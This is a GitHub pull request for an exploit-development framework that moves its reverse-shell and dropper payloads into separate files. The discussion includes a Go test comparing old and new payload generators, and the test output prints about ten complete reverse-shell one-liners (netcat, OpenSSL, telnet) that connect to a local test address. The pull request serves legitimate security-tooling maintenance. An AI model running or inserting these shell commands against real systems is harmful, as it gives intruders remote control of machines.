Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Seperate payloads into embedded independent files #308

Merged
merged 7 commits into from
Feb 18, 2025

Conversation

terrorbyte
Copy link
Collaborator

Moves each of the large string concatenated payload files to their own independent files so they can be easier maintained and the interface can be unified further. Adds a few PHP dropper types but the interfaces should be the same.

As a note some of these are explicitly no trailing newline as they are read directly into strings.

@terrorbyte terrorbyte added enhancement New feature or request proposal labels Feb 4, 2025
@terrorbyte terrorbyte self-assigned this Feb 4, 2025
@terrorbyte
Copy link
Collaborator Author

Thinking it might be better to add a last newline removing and make these properly EOF. strings.Replace(s, "\n", "", -1)

@j-baines
Copy link
Contributor

j-baines commented Feb 4, 2025

I think this is a good change, but the lack of testing is panic inducing. Could we slow roll these and perhaps ensure our exploits don't break (or that they resulting string is equivalent / the same?)

@terrorbyte
Copy link
Collaborator Author

Okay first step I made a simple little 1:1 test between the current main and this branch:

go-exploit-payload-comparison.go
package main

import (
	"fmt"
	new "go-exploit/new/payload"
	new_dropper "go-exploit/new/payload/dropper"
	new_reverse "go-exploit/new/payload/reverse"
	old "go-exploit/old/payload"
	old_dropper "go-exploit/old/payload/dropper"
	old_reverse "go-exploit/old/payload/reverse"

	"github.com/sergi/go-diff/diffmatchpatch"
)

func main() {
	dmp := diffmatchpatch.New()
	a := new.EncodeCommandIFS("test test")
	b := old.EncodeCommandIFS("test test")
	if a != b {
		diffs := dmp.DiffMain(a, b, false)
		fmt.Println(dmp.DiffPrettyText(diffs))
	}
	lhost := "127.1.33.7"
	lport := 1337
	encrypted := true
	ssl := true
	colon := true

	// Reverse tests
	a = new_reverse.Bash.Default(lhost, lport)
	b = old_reverse.Bash.Default(lhost, lport)
	if a != b {
		diffs := dmp.DiffMain(a, b, false)
		fmt.Println(dmp.DiffPrettyText(diffs))
	}
	a = new_reverse.Bash.TCPRedirection(lhost, lport)
	b = old_reverse.Bash.TCPRedirection(lhost, lport)
	if a != b {
		diffs := dmp.DiffMain(a, b, false)
		fmt.Println(dmp.DiffPrettyText(diffs))
	}
	a = new_reverse.GJScript.Default(lhost, lport)
	b = old_reverse.GJScript.Default(lhost, lport)
	if a != b {
		diffs := dmp.DiffMain(a, b, false)
		fmt.Println(dmp.DiffPrettyText(diffs))
	}
	a = new_reverse.GJScript.GLibSpawn(lhost, lport)
	b = old_reverse.GJScript.GLibSpawn(lhost, lport)
	if a != b {
		diffs := dmp.DiffMain(a, b, false)
		fmt.Println(dmp.DiffPrettyText(diffs))
	}
	a = new_reverse.Groovy.Default(lhost, lport)
	b = old_reverse.Groovy.Default(lhost, lport)
	if a != b {
		diffs := dmp.DiffMain(a, b, false)
		fmt.Println(dmp.DiffPrettyText(diffs))
	}
	a = new_reverse.Groovy.GroovyClassic(lhost, lport)
	b = old_reverse.Groovy.GroovyClassic(lhost, lport)
	if a != b {
		diffs := dmp.DiffMain(a, b, false)
		fmt.Println(dmp.DiffPrettyText(diffs))
	}
	a = new_reverse.JJS.Default(lhost, lport, ssl)
	b = old_reverse.JJS.Default(lhost, lport, ssl)
	if a != b {
		fmt.Println("---jjs encrypted")
		diffs := dmp.DiffMain(a, b, false)
		fmt.Println(dmp.DiffPrettyText(diffs))
	}
	a = new_reverse.JJS.Default(lhost, lport, !ssl)
	b = old_reverse.JJS.Default(lhost, lport, !ssl)
	if a != b {
		fmt.Println("---jjs")
		diffs := dmp.DiffMain(a, b, false)
		fmt.Println(dmp.DiffPrettyText(diffs))
	}
	a = new_reverse.Java.Default(lhost, lport)
	b = old_reverse.Java.Default(lhost, lport)
	if a != b {
		diffs := dmp.DiffMain(a, b, false)
		fmt.Println(dmp.DiffPrettyText(diffs))
	}
	a = new_reverse.Java.UnflattenedJava(lhost, lport)
	b = old_reverse.Java.UnflattenedJava(lhost, lport)
	if a != b {
		diffs := dmp.DiffMain(a, b, false)
		fmt.Println(dmp.DiffPrettyText(diffs))
	}
	a = new_reverse.Netcat.Default(lhost, lport)
	b = old_reverse.Netcat.Default(lhost, lport)
	if a != b {
		diffs := dmp.DiffMain(a, b, false)
		fmt.Println(dmp.DiffPrettyText(diffs))
	}
	a = new_reverse.Netcat.Gaping(lhost, lport)
	b = old_reverse.Netcat.Gaping(lhost, lport)
	if a != b {
		diffs := dmp.DiffMain(a, b, false)
		fmt.Println(dmp.DiffPrettyText(diffs))
	}
	a = new_reverse.Netcat.Mknod(lhost, lport)
	b = old_reverse.Netcat.Mknod(lhost, lport)
	if a != b {
		diffs := dmp.DiffMain(a, b, false)
		fmt.Println(dmp.DiffPrettyText(diffs))
	}
	a = new_reverse.OpenSSL.Default(lhost, lport)
	b = old_reverse.OpenSSL.Default(lhost, lport)
	if a != b {
		diffs := dmp.DiffMain(a, b, false)
		fmt.Println(dmp.DiffPrettyText(diffs))
	}
	a = new_reverse.OpenSSL.Mkfifo(lhost, lport)
	b = old_reverse.OpenSSL.Mkfifo(lhost, lport)
	if a != b {
		diffs := dmp.DiffMain(a, b, false)
		fmt.Println(dmp.DiffPrettyText(diffs))
	}
	a = new_reverse.OpenSSL.Mknod(lhost, lport)
	b = old_reverse.OpenSSL.Mknod(lhost, lport)
	if a != b {
		diffs := dmp.DiffMain(a, b, false)
		fmt.Println(dmp.DiffPrettyText(diffs))
	}
	a = new_reverse.PHP.Default(lhost, lport)
	b = old_reverse.PHP.Default(lhost, lport)
	if a != b {
		diffs := dmp.DiffMain(a, b, false)
		fmt.Println(dmp.DiffPrettyText(diffs))
	}
	a = new_reverse.PHP.LinuxInteractive(lhost, lport)
	b = old_reverse.PHP.LinuxInteractive(lhost, lport)
	if a != b {
		diffs := dmp.DiffMain(a, b, false)
		fmt.Println(dmp.DiffPrettyText(diffs))
	}
	a = new_reverse.PHP.Unflattened(lhost, lport, encrypted)
	b = old_reverse.PHP.Unflattened(lhost, lport, encrypted)
	if a != b {
		diffs := dmp.DiffMain(a, b, false)
		fmt.Println(dmp.DiffPrettyText(diffs))
	}
	a = new_reverse.PHP.UnflattenedSelfDelete(lhost, lport, encrypted)
	b = old_reverse.PHP.UnflattenedSelfDelete(lhost, lport, encrypted)
	if a != b {
		diffs := dmp.DiffMain(a, b, false)
		fmt.Println(dmp.DiffPrettyText(diffs))
	}
	a = new_reverse.PHP.Unflattened(lhost, lport, !encrypted)
	b = old_reverse.PHP.Unflattened(lhost, lport, !encrypted)
	if a != b {
		diffs := dmp.DiffMain(a, b, false)
		fmt.Println(dmp.DiffPrettyText(diffs))
	}
	a = new_reverse.PHP.UnflattenedSelfDelete(lhost, lport, !encrypted)
	b = old_reverse.PHP.UnflattenedSelfDelete(lhost, lport, !encrypted)
	if a != b {
		diffs := dmp.DiffMain(a, b, false)
		fmt.Println(dmp.DiffPrettyText(diffs))
	}
	a = new_reverse.Python.Default(lhost, lport)
	b = old_reverse.Python.Default(lhost, lport)
	if a != b {
		diffs := dmp.DiffMain(a, b, false)
		fmt.Println(dmp.DiffPrettyText(diffs))
	}
	a = new_reverse.Python.Python27(lhost, lport)
	b = old_reverse.Python.Python27(lhost, lport)
	if a != b {
		diffs := dmp.DiffMain(a, b, false)
		fmt.Println(dmp.DiffPrettyText(diffs))
	}
	a = new_reverse.Python.SecurePython27(lhost, lport)
	b = old_reverse.Python.SecurePython27(lhost, lport)
	if a != b {
		diffs := dmp.DiffMain(a, b, false)
		fmt.Println(dmp.DiffPrettyText(diffs))
	}
	a = new_reverse.Telnet.Default(lhost, lport, colon)
	b = old_reverse.Telnet.Default(lhost, lport, colon)
	if a != b {
		diffs := dmp.DiffMain(a, b, false)
		fmt.Println(dmp.DiffPrettyText(diffs))
	}
	a = new_reverse.Telnet.Mkfifo(lhost, lport, colon)
	b = old_reverse.Telnet.Mkfifo(lhost, lport, colon)
	if a != b {
		diffs := dmp.DiffMain(a, b, false)
		fmt.Println(dmp.DiffPrettyText(diffs))
	}
	a = new_reverse.Telnet.Mknod(lhost, lport, colon)
	b = old_reverse.Telnet.Mknod(lhost, lport, colon)
	if a != b {
		diffs := dmp.DiffMain(a, b, false)
		fmt.Println(dmp.DiffPrettyText(diffs))
	}
	a = new_reverse.Telnet.Default(lhost, lport, !colon)
	b = old_reverse.Telnet.Default(lhost, lport, !colon)
	if a != b {
		diffs := dmp.DiffMain(a, b, false)
		fmt.Println(dmp.DiffPrettyText(diffs))
	}
	a = new_reverse.Telnet.Mkfifo(lhost, lport, !colon)
	b = old_reverse.Telnet.Mkfifo(lhost, lport, !colon)
	if a != b {
		diffs := dmp.DiffMain(a, b, false)
		fmt.Println(dmp.DiffPrettyText(diffs))
	}
	a = new_reverse.Telnet.Mknod(lhost, lport, !colon)
	b = old_reverse.Telnet.Mknod(lhost, lport, !colon)
	if a != b {
		diffs := dmp.DiffMain(a, b, false)
		fmt.Println(dmp.DiffPrettyText(diffs))
	}

	// Dropper
	a = new_dropper.PHP.HTTP(lhost, lport, ssl, "/vulncheck")
	b = old_dropper.PHP.HTTP(lhost, lport, ssl, "/vulncheck")
	if a != b {
		diffs := dmp.DiffMain(a, b, false)
		fmt.Println(dmp.DiffPrettyText(diffs))
	}
	a = new_dropper.PHP.HTTP(lhost, lport, !ssl, "/vulncheck")
	b = old_dropper.PHP.HTTP(lhost, lport, !ssl, "/vulncheck")
	if a != b {
		diffs := dmp.DiffMain(a, b, false)
		fmt.Println(dmp.DiffPrettyText(diffs))
	}
}

with the following go.mod

module github.com/vulncheck-oss/go-exploit-payload-comparison

go 1.23.5

replace go-exploit/new => /home/poptart/src/work/go-exploit

replace go-exploit/old => /home/poptart/src/work/go-exploit-main

require (
	go-exploit/new v0.0.0-00010101000000-000000000000
	go-exploit/old v0.0.0-00010101000000-000000000000
)

require (
	github.com/sergi/go-diff v1.3.1 // indirect
	github.com/vulncheck-oss/go-exploit v1.35.0 // indirect
	golang.org/x/tools v0.29.0 // indirect

Which gave me the following output:

poptart:~/src/work/scratch/go-exploit-payload-comparison $ go run main.go
failed to match:
a = `cd /tmp/; mknod aKJ p;cat aKJ|/bin/sh -i 2>&1|nc 127.1.33.7 1337 >aKJ; rm aKJ;`
b = `cd /tmp/; mknod dKO p;cat dKO|/bin/sh -i 2>&1|nc 127.1.33.7 1337 >dKO; rm dKO;`
failed to match:
a = `cd /tmp; mknod vWj p; sh -i < vWj 2>&1 | openssl s_client -quiet -connect 127.1.33.7:1337 > vWj; rm vWj;`
b = `cd /tmp; mknod erQ p; sh -i < erQ 2>&1 | openssl s_client -quiet -connect 127.1.33.7:1337 > erQ; rm erQ;`
failed to match:
a = `cd /tmp; mkfifo Qkf; sh -i < Qkf 2>&1 | openssl s_client -quiet -connect 127.1.33.7:1337 > Qkf; rm Qkf;`
b = `cd /tmp; mkfifo ppD; sh -i < ppD 2>&1 | openssl s_client -quiet -connect 127.1.33.7:1337 > ppD; rm ppD;`
failed to match:
a = `cd /tmp; mknod cQw p; sh -i < cQw 2>&1 | openssl s_client -quiet -connect 127.1.33.7:1337 > cQw; rm cQw;`
b = `cd /tmp; mknod HBm p; sh -i < HBm 2>&1 | openssl s_client -quiet -connect 127.1.33.7:1337 > HBm; rm HBm;`
failed to match:
a = `cd /tmp; mknod LjR p; sh -i < LjR 2>&1 | telnet 127.1.33.7:1337 > LjR; rm LjR;`
b = `cd /tmp; mknod HeF p; sh -i < HeF 2>&1 | telnet 127.1.33.7:1337 > HeF; rm HeF;`
failed to match:
a = `cd /tmp; mkfifo vnS; telnet 127.1.33.7:1337 0<vnS | sh 1>vnS; rm vnS;`
b = `cd /tmp; mkfifo yXZ; telnet 127.1.33.7:1337 0<yXZ | sh 1>yXZ; rm yXZ;`
failed to match:
a = `cd /tmp; mknod isu p; sh -i < isu 2>&1 | telnet 127.1.33.7:1337 > isu; rm isu;`
b = `cd /tmp; mknod ZDB p; sh -i < ZDB 2>&1 | telnet 127.1.33.7:1337 > ZDB; rm ZDB;`
failed to match:
a = `cd /tmp; mknod pof p; sh -i < pof 2>&1 | telnet 127.1.33.7 1337 > pof; rm pof;`
b = `cd /tmp; mknod bkK p; sh -i < bkK 2>&1 | telnet 127.1.33.7 1337 > bkK; rm bkK;`
failed to match:
a = `cd /tmp; mkfifo bKx; telnet 127.1.33.7 1337 0<bKx | sh 1>bKx; rm bKx;`
b = `cd /tmp; mkfifo Unl; telnet 127.1.33.7 1337 0<Unl | sh 1>Unl; rm Unl;`
failed to match:
a = `cd /tmp; mknod JIA p; sh -i < JIA 2>&1 | telnet 127.1.33.7 1337 > JIA; rm JIA;`
b = `cd /tmp; mknod Kpo p; sh -i < Kpo 2>&1 | telnet 127.1.33.7 1337 > Kpo; rm Kpo;`

I believe that each of these is equivalent since they have a random call. The only exception were a few EoFs that I fixed.

image


I think that we probably should just add some unifying tests for this so that we can continue with the assurances.

@terrorbyte
Copy link
Collaborator Author

With the last push I added back the EOF newlines (@wvu for you), and instead added a strings.Trim for newlines.

One note, this only makes the payloads have parity with what they currently are, but some payloads have extra newlines like the Python one.

@j-baines j-baines merged commit 01b4c82 into main Feb 18, 2025
3 checks passed
@j-baines j-baines deleted the payload/unify-layout branch February 18, 2025 17:40
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
enhancement New feature or request proposal
Projects
None yet
Development

Successfully merging this pull request may close these issues.

2 participants